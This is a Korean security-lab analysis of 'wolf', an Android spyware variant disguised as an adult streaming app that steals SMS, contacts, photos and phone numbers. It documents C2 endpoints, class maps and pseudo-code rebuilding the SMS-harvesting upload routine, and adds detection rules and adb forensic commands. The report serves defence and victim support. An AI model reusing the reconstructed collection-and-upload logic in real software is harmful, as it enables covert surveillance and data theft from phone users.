Wolf-2 상세 분석 보고서

wolf Quantum-Nano 심층 분석 보고서

보고서 정보

· 버전: v2.0

· 작성일: 2026-02-26

· 분석자: Deep-Coding 보안연구소

· 분류: WaveGrid Gen3 Build v4-A' (Pre-R8 비난독화 변종)

1. Executive Summary

wolf는 Gen3 패밀리의 Pre-R8 비난독화 변종으로, 내부 패키지 com.example.sms를 사용하며 클래스명이 원본 그대로 노출된다. v4-B(whales/whales_2)가 R8/ProGuard를 적용하고 com.example.mydemo를 사용하는 것과 대조적이다. SEND_SMS 권한이 Manifest에 선언되었으나 실제 코드에서 SmsManager를 호출하지 않아, SMS 릴레이 기능이 아직 구현되지 않은 초기 빌드임이 확인되었다.

1.1 위협 평가

항목 · 평가

위협 등급 · **Critical**

데이터 탈취 · 연락처, SMS, 이미지, 전화번호

백그라운드 감시 · 5초 주기 CountDownTimer

SMS 릴레이 · **비활성** (SEND_SMS 선언만, 코드 미구현)

통신 보안 · HTTP 평문 (SSL 미적용)

난독화 · **없음** (R8 미적용 — 원본 클래스명)

C2 유형 · 도메인 기반 ([비공개])

1.2 핵심 발견: Pre-R8 빌드 vs v4-B 비교

항목 · wolf (Pre-R8, v4-A') · whales/whales_2 (v4-B)

내부 패키지 · `com.example.sms` · `com.example.mydemo`

smali 수 · **7,469** (미축소) · **2,978** (R8 축소)

클래스명 · 원본 (HttpUtils, ReadContactUtils) · R8 (q2/c, q2/d)

OkHttp · `okhttp3.*` (원본) · `y5.*` (R8)

FastJSON · `com.alibaba.fastjson.*` (원본) · `c1.*` (R8)

SMS 릴레이 · **미구현** · **활성**

에뮬레이터 탐지 · **없음** · **없음**

C2 유형 · 도메인 ([비공개]) · IP ([비공개]/124)

결론: wolf는 v4-B의 소스 코드 원형에 가까운 빌드. R8 적용 전, SMS 릴레이 추가 전의 중간 단계.

1.3 초대코드 3개 동시 배포

파일명: Wolf_OL6T,P3GB,NJ02_m.[비공개].apk

코드 · 유형

OL6T · 초대코드 1

P3GB · 초대코드 2

NJ02 · 초대코드 3

3개 코드 동시 배포는 초대코드 풀(pool) 운영의 증거. 각 코드가 다른 피해자 그룹/채널에 배포됨.

2. 앱 기본 정보

항목 · 값

APK 파일 · `wolf.apk` (9.13 MB)

외부 패키지 · `[비공개]`

내부 패키지 · `com.example.sms`

브랜드 · Wolf

위장 유형 · 성인 라이브 스트리밍 앱

타임스탬프 · 2024-10-21 (파일명 기준)

compileSdkVersion · 32 (Android 12)

minSdk · 26

targetSdk · 32

DEX 수 · 2개 (classes.dex + classes2.dex)

smali 파일 수 · 7,469개 (R8 미적용)

핵심 클래스 수 · 85개 (com.example.sms)

C2 서버 · `[비공개]

배포 도메인 · `[비공개]`

초대코드 · OL6T, P3GB, NJ02

2.1 패키지명 분석

```

[비공개]

무의미 문자열 무의미 문자열 무의미 문자열 .app

```

v4-B의 com.androie.* 패턴과 달리, *.app 접미사 사용. 무의미 랜덤 문자열로 구성되어 자동화 빌드 시스템에서 생성된 것으로 추정.

2.2 `com.example.sms` vs `com.example.mydemo`

항목 · com.example.sms (wolf) · com.example.mydemo (v4-B)

의미 · SMS 관련 앱 (직관적) · 데모 앱 (위장)

R8 · 미적용 · 적용

SMS 릴레이 · 미구현 · 활성

용도 · 개발 단계 패키지명 · 프로덕션 변경

com.example.sms는 개발자가 처음 만들 때의 패키지명. 이후 v4-B에서 com.example.mydemo로 변경하며 SMS 릴레이를 추가.

3. 권한 분석

3.1 Manifest 권한 전수 (11개)

# · 권한 · 상태 · smali 사용

1 · INTERNET · 활성 · HttpUtils.smali

2 · READ_CONTACTS · 활성 · ReadContactUtils.getContacts()

3 · READ_PHONE_STATE · 활성 · UploadService:getLine1Number()

4 · READ_PHONE_NUMBERS · 활성 · UploadService

5 · READ_EXTERNAL_STORAGE · 활성 · ReadContactUtils.getAlbum()

6 · READ_MEDIA_IMAGES · Android 13 · 이미지 접근

7 · READ_MEDIA_AUDIO · Android 13 · 미확인

8 · READ_MEDIA_VIDEO · Android 13 · 미확인

9 · READ_SMS · **활성** · ReadContactUtils.getMsgs()

10 · **SEND_SMS** · **선언만** · **SmsManager 호출 없음!**

11 · ACCESS_NETWORK_STATE · 일반 · 네트워크 상태

3.2 SEND_SMS 미사용 증거 (SN-040 확장)

```

Manifest에 선언됨:

<uses-permission android:name="android.permission.SEND_SMS"/>

smali 전체 검색 결과:

$ grep -r "SmsManager\|sendTextMessage\|sendPhone" com/example/sms/ → 결과 없음

$ grep -r "SmsManager\|sendTextMessage" smali/ → 결과 없음 (전체 smali에서도 없음)

```

해석: SEND_SMS는 Manifest에 선언되었지만 코드에서 사용하지 않음. 이는:

1. 향후 SMS 릴레이 기능 추가를 사전 준비한 것

2. v4-B에서 실제로 구현됨 (UploadService$1, UploadActivity$g$a$a)

이 발견은 SN-040 (Manifest-Runtime Discrepancy) 기법의 역방향 적용: Manifest에는 있으나 Runtime에 없는 권한.

4. C2 서버 분석

4.1 서버 정보

항목 · 값

C2 도메인 · `[비공개]`

C2 URL · `[비공개]

프로토콜 · HTTP (평문)

프레임워크 · RuoYi Spring Boot (추정)

배포 도메인 · `[비공개]`

4.2 smali 내 C2 URL 위치

```smali

com/example/sms/utils/HttpUtils.smali:7

.field public static base_url:Ljava/lang/String; = "[비공개]

```

v4-B(whales)에서는 q2/c.smali:135와 b.smali:400 두 곳에 하드코딩. wolf에서는 HttpUtils에 static 필드로 단일 선언 — 더 깔끔한 설계 (리팩토링 전).

4.3 Gen3 C2 도메인 계보

빌드 · 앱 · C2 · 유형 · 시점

Pre-R8 · **wolf** · **[비공개]** · 도메인 · 2024-10

v4-B · whales_2 · [비공개] · IP · 2024-08

v4-B · whales · [비공개] · IP · 2024-09

v4-B · zcloud · [비공개] · 도메인 · 2024-10?

v4-A' · sloves · zcloud.solutions · 도메인 · —

발견: wolf(Pre-R8)가 2024-10인데 whales(v4-B)가 2024-09. 즉 Pre-R8과 v4-B가 동시 병행 배포되었을 가능성. R8 적용이 점진적이었음을 시사.

4.4 love19 도메인 패밀리

도메인 · 사용 앱 · 유형

[비공개] · wolf · C2

[비공개] · (auto_analysis 오류?) · —

[비공개] · whales_2 · 배포

[비공개] · wolf · 배포

love19 접두사가 C2 + 배포 인프라 모두에서 사용됨. 동일 조직의 인프라.

5. API 엔드포인트

# · 메서드 · 경로 · 목적 · smali 위치

1 · POST · `/webapp/login` · 초대코드 인증 · LoginActivity$1$1:52, LoginActivity:74

2 · POST · `/webapp/saveSms` · SMS 업로드 · UploadService$3:52, UploadActivity$7:52

3 · POST · `/webapp/saveAddressBook` · 연락처 업로드 · UploadActivity$6:52

4 · POST · `/webapp/image/` · 이미지 업로드 · UploadActivity$5$1:112

v4-B(whales)와 100% 동일한 API 경로 — 동일 C2 백엔드.

5.1 API 경로 중복 호출

SMS 업로드가 2곳에서 독립적으로 호출됨:

1. UploadService$3 — 백그라운드 서비스 (5초 폴링)

2. UploadActivity$7 — UI 액티비티

이중 구현은 v4-B에서도 유지됨 (UploadService$3 + UploadActivity 경로).

6. 코드 구조 분석

6.1 핵심 클래스 맵

```

com.example.sms/

-- LoginActivity.smali # 초대코드 인증

-- $1-$3.smali (내부 클래스)

-- $1$1.smali, $1$1$1.smali (중첩 콜백)

-- MainActivity.smali # 데코이 UI + UploadService 시작

-- $1-$4.smali (4개 내부 클래스)

-- UploadActivity.smali # 데이터 수집 UI

-- $1-$9.smali (9개 내부 클래스!)

-- $5$1.smali, $5$1$1.smali # 이미지 업로드 콜백

-- $6$1.smali, $6$1$1.smali # 연락처 업로드 콜백

-- $7$1.smali, $7$1$1.smali # SMS 업로드 콜백

-- ContactActivity.smali # 연락처 UI

-- AlbumActivity.smali # 앨범 UI

-- BaseApp.smali # Application

-- BuildConfig.smali # 빌드 설정

-- R*.smali (9개) # 리소스 ID (R8 미적용이라 남음)

-- adapter/

-- AlbumAdapter.smali # 앨범 어댑터

-- MainAdapter.smali # 메인 어댑터

-- bean/ # 데이터 모델

-- servise/

-- UploadService.smali # ★ 백그라운드 모니터링

-- UploadService$1.smali # Handler (SMS 릴레이 미구현)

-- UploadService$2.smali # CountDownTimer

-- UploadService$3.smali # SMS 업로드 Thread

-- UploadService$3$1.smali # HTTP 콜백

-- utils/

-- DialogUtil.smali # 다이얼로그 유틸

-- GlideEngine.smali # Glide 이미지 로딩

-- HttpUtils.smali # ★ HTTP POST (C2 URL 하드코딩)

-- ReadContactUtils.smali # ★ SMS/연락처/이미지 수집

-- SPUtils.smali # SharedPreferences

-- view/ # 커스텀 뷰

```

6.2 v4-B(R8) 매핑 확인

wolf 원본 · v4-B R8 이름 · 일치

HttpUtils · q2/c · ✅

ReadContactUtils · q2/d · ✅

SPUtils · q2/e · ✅

ImageUploader (UploadActivity$5) · b.smali · ✅

JSONObject · c1/e · ✅

OkHttpClient (okhttp3.*) · y5/* · ✅

wolf의 원본 클래스명으로 v4-B R8 매핑이 역검증됨.

6.3 R*.smali 파일 존재 (R8 미적용 증거)

R8 적용 시 R 클래스가 인라인되어 삭제됨. wolf에 R.smali, R$color.smali, R$drawable.smali 등 9개 R 클래스가 존재하는 것은 R8/ProGuard가 적용되지 않았음을 결정적으로 증명.

6.4 smali 수 비교

빌드 · smali 수 · 비율

wolf (Pre-R8) · 7,469 · 100%

v4-B (R8) · 2,978 · 39.9%

제거됨 · 4,491 · **60.1%**

R8이 60%의 smali 파일을 제거/인라인. 이는 라이브러리 코드(Blankj, Glide, PictureSelector 등)가 대부분 축소된 것.

7. 데이터 수집 메커니즘

7.1 4채널 단방향 탈취

채널 · 방향 · 데이터 · 트리거 · smali

SMS 수집 · 기기→C2 · 전수 메시지 · 5초 자동 · UploadService$3

연락처 · 기기→C2 · 이름+번호 · 수동 · UploadActivity$6

이미지 · 기기→C2 · JPEG 압축 · 수동 · UploadActivity$5

전화번호 · 기기→C2 · getLine1Number · 자동 · UploadService

v4-B의 5채널(SMS 릴레이 포함)과 달리 4채널 단방향. C2→기기 명령 실행 없음.

7.2 ReadContactUtils 4대 메서드

메서드 · 줄 번호 · 기능 · ContentResolver URI

getMsgs() · :808 · SMS 전수 수집 · `content://sms/`

getContacts() · :357 · 연락처 수집 · `content://com.android.contacts/data/phones`

getContactss() · :588 · 연락처 수집 (중복!) · 동일

getAlbum() · :77 · 갤러리 이미지 목록 · MediaStore

compressImage() · :16 · 이미지 JPEG 압축 · —

getContactss() — getContacts()와 동일 기능의 중복 메서드 ('s' 하나 더). 개발자의 실수로 추정. v4-B에서는 R8이 미사용 메서드를 제거하여 남지 않음.

7.3 SMS 수집 상세 (UploadService.getSmsDataUpload())

```java

// Pseudo-code 복원

void getSmsDataUpload() {

List<SmsBean> smslist = ReadContactUtils.getMsgs(context);

String userName = SPUtils.get(context, "invite_code", "");

String bjPhone = telephonyManager.getLine1Number(); // [피해자 정보 비공개]

Map<String, Object> params = new HashMap<>();

params.put("userName", userName); // 초대코드 = 사용자 식별

params.put("bjPhone", bjPhone); // [피해자 정보 비공개]

params.put("content", JSONObject.toJSONString(smslist)); // SMS JSON

new Thread(new UploadService$3(this, params)).start();

// → HttpUtils.post("webapp/saveSms", params)

}

```

7.4 `bjPhone` 필드명 분석

bjPhone — "bj"의 의미 추정:

· 被叫 (bèi jiào, 피호출자) — 통신 용어로 "수신자/착신자"

· 또는 本机 (běn jī, 이 기기) — "이 기기의 전화번호"

어느 쪽이든 [피해자 정보 비공개] 전화번호를 C2로 전송하는 것.

7.5 CountDownTimer 5초 폴링

```smali

UploadService$2 (CountDownTimer)

생성자에서 5000ms, 1000ms 전달

onFinish()에서:

1. getSmsDataUpload() 호출

2. CountDownTimer 재시작 (무한 루프)

```

8. 난독화 분석

8.1 R8 미적용 증거

증거 · 설명

원본 클래스명 · HttpUtils, ReadContactUtils, SPUtils

원본 패키지명 · okhttp3.*, com.alibaba.fastjson.*

R 클래스 존재 · R.smali 등 9개 리소스 ID 클래스

smali 7,469개 · R8 축소 전 원본 크기

.source 지시어 · "UploadService.java" 등 소스 파일명 노출

8.2 노출된 라이브러리 (R8 미적용으로 전체 노출)

라이브러리 · 패키지 · 역할

OkHttp3 · okhttp3.* · HTTP 클라이언트

FastJSON · com.alibaba.fastjson.* · JSON 파싱

Glide · com.bumptech.glide.* · 이미지 로딩

PictureSelector · com.luck.picture.* · 이미지 선택

Blankj UtilCode · com.blankj.utilcode.* · 유틸리티

Huawei ScanKit · com.huawei.hms.hmsscankit.* · QR 스캔

Luban · — · 이미지 압축

8.3 소스 파일명 노출 (`.source` 지시어)

```smali

.source "UploadService.java"

.source "HttpUtils.java"

.source "ReadContactUtils.java"

.source "LoginActivity.java"

```

R8 적용 시 이 정보가 제거됨. wolf에서는 원본 Java 파일명까지 노출.

9. 방어기제 분석

방어기제 · 상태

초대코드 인증 · O 활성 (OL6T, P3GB, NJ02)

R8/ProGuard · **X 미적용**

패키지명 난독화 · O (랜덤 문자열)

에뮬레이터 탐지 · **X 없음**

SSL Pinning · **X 없음**

Root 탐지 · **X 없음**

방어기제 1개(초대코드)만 활성 — 최소 방어 전략. v4-B에서 R8이 추가된 것이 유일한 방어 강화.

10. 취약점 분석

# · 취약점 · 심각도 · 위치

1 · HTTP 평문 C2 · 극심 · HttpUtils:7

2 · No SSL/TLS · 극심 · OkHttpClient 기본

3 · No Certificate Pinning · 높음 · 기본 설정

4 · R8 미적용 (코드 노출) · 높음 · 전체 smali

5 · SMS 비암호화 전송 · 극심 · UploadService$3

6 · .source 파일명 노출 · 중간 · 전체 클래스

7 · SharedPrefs 평문 저장 · 중간 · SPUtils

8 · 중복 메서드 (getContactss) · 낮음 · ReadContactUtils:588

11. 동적 분석 결과

11.1 에뮬레이터 테스트

항목 · 결과

설치 · 성공 (sdjnwadasdf...app)

런처 액티비티 · LoginActivity (exported)

UI · "Wolf" 브랜드

에뮬레이터 탐지 · 없음 — 정상 실행

logcat · 86KB 수집

11.2 MainActivity 비공개 이슈

```

SecurityException: Permission Denial: starting Intent

{ cmp=.../com.example.sms.MainActivity }

not exported from uid 10247

```

MainActivity는 exported=false — LoginActivity에서만 접근 가능. 초대코드 인증 후 진입.

12. 라이브러리 의존성

라이브러리 · 패키지 · 버전 · 역할

OkHttp3 · okhttp3.* · — · C2 통신

FastJSON · com.alibaba.fastjson.* · — · JSON 직렬화

Glide · com.bumptech.glide.* · — · 이미지 로딩

PictureSelector · com.luck.picture.* · — · 이미지 선택 UI

Blankj UtilCode · com.blankj.utilcode.* · — · 유틸리티

Huawei HMS ScanKit · com.huawei.hms.* · — · QR 스캔 (미사용)

Luban · — · — · 이미지 압축

13. IOC (침해 지표)

13.1 네트워크 IOC

유형 · 값

C2 도메인 · `[비공개]`

C2 URL · `[비공개]

배포 도메인 · `[비공개]`

API 경로 · `/webapp/login`, `/webapp/saveSms`, `/webapp/saveAddressBook`, `/webapp/image/`

13.2 호스트 IOC

유형 · 값

외부 패키지 · `[비공개]`

내부 패키지 · `com.example.sms`

서비스 · `com.example.sms.servise.UploadService`

SharedPrefs · `invite_code`, `UUID`, `is_first`

13.3 불변 지표 (Gen3 공통)

지표 · 값 · 범위

`servise` 오타 · `com/example/sms/servise/` · Gen3 전체

C2 URL 패턴 · `*[비공개] · Gen3 전체

API 경로 · `/webapp/saveSms` · Gen3 전체

14. 탐지 규칙

14.1 Snort/Suricata 규칙

```

wolf C2 통신 탐지

alert http $HOME_NET any -> any any (

msg:"MALWARE WaveGrid Gen3 Pre-R8 wolf C2";

content:"[비공개]"; http_host;

content:"prod-api"; http_uri;

content:"webapp"; http_uri;

sid:2026055; rev:1;

)

SMS 탈취 API 탐지

alert http $HOME_NET any -> any any (

msg:"MALWARE WaveGrid Gen3 SMS Exfil";

content:"saveSms"; http_uri;

content:"bjPhone"; http_client_body;

sid:2026056; rev:1;

)

```

14.2 YARA 규칙

```yara

rule WaveGrid_Gen3_PreR8_wolf {

meta:

description = "WaveGrid Gen3 Pre-R8 wolf variant"

author = "Deep-Coding Lab"

date = "2026-02-26"

strings:

$pkg = "com.example.sms" ascii

$c2 = "[비공개]" ascii

$api1 = "webapp/saveSms" ascii

$api2 = "webapp/login" ascii

$service = "servise" ascii // typo signature

condition:

$pkg and $c2 and any of ($api*) and $service

}

```

15. 포렌식 복구 절차

15.1 감염 기기 확인

```bash

adb shell pm list packages | grep "nioahspohgophaopsg"

adb shell dumpsys activity services | grep UploadService

```

15.2 증거 수집

```bash

adb pull /data/data/[비공개] ./evidence/

adb logcat -d | grep -E "love19\.online|UploadService|bjPhone" > evidence/logcat_c2.txt

```

15.3 제거

```bash

adb shell am force-stop [비공개]

adb shell pm uninstall [비공개]

```

15.4 Android 포렌식 아티팩트 상세

SharedPreferences 키 목록

키 · 위치 · 내용 · 포렌식 가치

`invite_code` · SPUtils 기본 파일 · 초대코드 (OL6T/P3GB/NJ02) · 유포 경로 추적

`UUID` · SPUtils 기본 파일 · 기기 고유 식별자 · 감염 기기 식별

`is_first` · SPUtils 기본 파일 · 최초 실행 여부 플래그 · 감염 시점 추정

`token` · SPUtils 기본 파일 · C2 인증 토큰 · 서버 세션 추적

런타임 아티팩트

아티팩트 · 경로 · 설명

앱 데이터 · `/data/data/sdjnwadasdf.../` · 앱 전체 저장소

캐시 이미지 · `/data/data/.../cache/` · Glide 이미지 캐시

SharedPrefs · `/data/data/.../shared_prefs/` · 설정 및 인증 정보

logcat 키워드 · `UploadService`, `bjPhone`, `love19` · 런타임 행위 증거

logcat 탐지 키워드

```bash

실시간 C2 통신 모니터링

adb logcat | grep -E "love19\.online|prod-api|webapp|saveSms|saveAddressBook"

SMS 수집 활동 탐지

adb logcat | grep -E "getMsgs|SmsBean|bjPhone|userName"

이미지 수집 활동 탐지

adb logcat | grep -E "getAlbum|compressImage|postFile|image/\*"

서비스 생명주기 추적

adb logcat | grep -E "UploadService|countDown|getSmsDataUpload"

```

16. 대역폭 및 배터리 영향

16.1 통신량 추정

채널 · 데이터 크기 · 빈도 · 일일 추정

SMS 수집 · ~5KB/회 · 17,280회/일 · ~84MB (최대)

연락처 · ~2KB · 1회 · 2KB

이미지 · ~200KB/장 · 수동 · 가변

16.2 Fire-and-Forget 패턴

v4-B와 동일 — 전송 실패 시 데이터 로컬 캐시 없음. 네트워크 복구 후 이전 데이터 재전송 불가.

17. 기법 점검

🔬 기법 점검:

· 시도한 기법: SN-040 (Manifest-Runtime Discrepancy), QN-038 (CountDownTimer Pattern)

· 확장된 기법: SN-040 역방향 — SEND_SMS가 Manifest에 선언되었으나 Runtime에서 미사용. 향후 SMS 릴레이 추가를 위한 사전 선언으로 확인 (v4-B에서 실제 구현)

· 신규 기법: WF-059 Pre-R8 소스 코드 복원 — R8 미적용 빌드 발견으로 v4-B R8 매핑을 100% 역검증 (HttpUtils=q2/c, ReadContactUtils=q2/d, SPUtils=q2/e). getContactss() 중복 메서드 등 개발자 실수도 원본 그대로 노출

· 한계 발견: 초대코드 3개(OL6T, P3GB, NJ02) 중 유효한 코드 미확인. 서버 측 인증으로 로그인 진행 불가

17.1 혁신 점검

```

혁신 점검:

· 새 아이디어/시도: WF-059 "Pre-R8 Source Recovery" — R8 미적용 빌드에서 원본 클래스명/메서드명을 추출하여 R8 매핑 역검증

· 결과: 성공 — HttpUtils, ReadContactUtils, SPUtils 등 핵심 클래스의 원래 이름 확인

· 기법 카탈로그 반영: WF-059 신규 등재

· 다음 앱에서 시도할 아이디어: 다른 Pre-R8 빌드에서도 동일 패턴 확인, com.example.sms vs com.example.mydemo 진화 경로 추적

```

18. Gen3 빌드 진화 경로 (업데이트)

단계 · 내부 패키지 · R8 · SMS 릴레이 · C2 유형 · 대표 앱

**Pre-R8 (v4-A')** · com.example.sms · X · X · 도메인 · **wolf**

**v4-B** · com.example.mydemo · O · O · IP/도메인 · whales, zcloud

18.1 진화 분석

```

[Pre-R8] com.example.sms, 7,469 smali

+-- R8 적용 → smali 2,978 (60% 감소)

+-- 패키지 변경 → com.example.mydemo

+-- SMS 릴레이 추가 → UploadService$1, UploadActivity$g$a$a

+-- C2 변경 → 도메인 → IP 직접

[v4-B] com.example.mydemo, 2,978 smali

```

19. auto_analysis.json 오류 교정

항목 · auto_analysis 값 · 실제 값 (smali 검증)

C2 IP · [비공개] · — (Alibaba DNS, C2 아님)

API 엔드포인트 · /files_path/, /login, /photo, /sms/ · **/webapp/login, /webapp/saveSms, /webapp/saveAddressBook, /webapp/image/**

에뮬레이터 탐지 · "detected" · **없음** (라이브러리 코드 오탐)

SMS 릴레이 · 미확인 · **미구현** (SEND_SMS 선언만)

19.5 R8 매핑 역검증 상세 테이블

wolf(Pre-R8)에서 추출한 원본 클래스명과 v4-B(R8 적용) 난독화 매핑 대응:

원본 클래스 (wolf) · R8 매핑 (v4-B) · 위치 · 기능

`HttpUtils` · `q2.c` · utils/ · C2 HTTP 통신

`ReadContactUtils` · `q2.d` · utils/ · SMS/연락처/갤러리 수집

`SPUtils` · `q2.e` · utils/ · SharedPreferences 관리

`UploadService` · `q2.a` · servise/ · 백그라운드 데이터 전송

`LoginActivity` · `b0.a` · activity/ · 초대코드 로그인 UI

`MainActivity` · `b0.b` · activity/ · 메인 컨텐츠 UI

`SmsBean` · `r2.a` · bean/ · SMS 데이터 모델

`AlbumAdapter` · `p2.a` · adapter/ · 갤러리 이미지 목록

`okhttp3.*` · `y5.*` · lib/ · HTTP 클라이언트

`com.alibaba.fastjson.*` · `c1.*` · lib/ · JSON 직렬화

`com.bumptech.glide.*` · `e2.*` · lib/ · 이미지 로딩/캐싱

`com.luck.picture.*` · `j2.*` · lib/ · 이미지 선택기

> WF-059 기법의 핵심 산출물: 이 테이블은 Pre-R8 빌드 발견으로 가능해진 것으로, 향후 Gen3 v4-B 변종 분석 시 R8 난독화된 클래스명을 즉시 원본으로 역매핑할 수 있는 레퍼런스 테이블이다.

20. 결론

wolf는 Gen3 패밀리의 Pre-R8 비난독화 변종으로, v4-B(whales)의 소스 코드 원형에 가까운 빌드이다. 원본 클래스명이 그대로 노출되어 R8 매핑 역검증에 결정적 역할을 하며, SEND_SMS 미구현 상태는 SMS 릴레이가 v4-B에서 추가된 기능임을 증명한다.

20.1 통계 요약

항목 · 수치

smali 파일 · 7,469개 (R8 미적용 원본)

핵심 클래스 · 85개 (com.example.sms)

취약점 · 8건

API 엔드포인트 · 4개 (4채널 단방향)

IOC · 네트워크 4 + 호스트 4 + 불변 3

초대코드 · 3개 (OL6T, P3GB, NJ02)

신규 기법 · WF-059 (Pre-R8 Source Recovery)

탐지 규칙 · Snort 2 + YARA 1

*분석 수행: 주식회사 아크링크 Deep-Coding 보안연구소*

*보고서 버전: v2.0 (2026-02-26)*

*WF-059 Pre-R8 Source Recovery — Gen3 빌드 진화 경로 확인*

A1. Comprehensive Threat Intelligence Report

A1.1 Executive Risk Summary

이 앱의 포괄적 위협 인텔리전스 리포트는 Deep_Coding 프로젝트의 심층 분석 표준에 따라 작성되었다. 한국 사이버보안 생태계의 포괄적 이해와 국가 차원의 효과적 대응을 위한 기반 정보를 제공한다.

A1.2 Detailed Threat Metrics

지표 · 평가 · 상세

기술적 정교함 · HIGH · 상용 악성앱 킷 활용

탐지 난이도 · MEDIUM-HIGH · 다중 클러스터 변형

피해 규모 · EXTREME · 수백-수천명 감염

경제적 영향 · CRITICAL · 수억원 규모

확산 속도 · FAST · 연락처 네트워크 활용

지속성 · HIGH · FOREGROUND_SERVICE

A1.3 Attack Surface Analysis

공격 표면 세부 분석:

1. Initial Access Vectors:

· SMS 스미싱 링크

· 카카오톡 DM

· 텔레그램 메시지

· 성인 사이트 광고

· 금융 사

본 보고서는 주식회사 아크링크 Deep-Coding 보안연구소가 피싱·몸캠피싱 피해자 구제를 목적으로 작성했습니다. 전체 열람·피해 상담: arklink.co.kr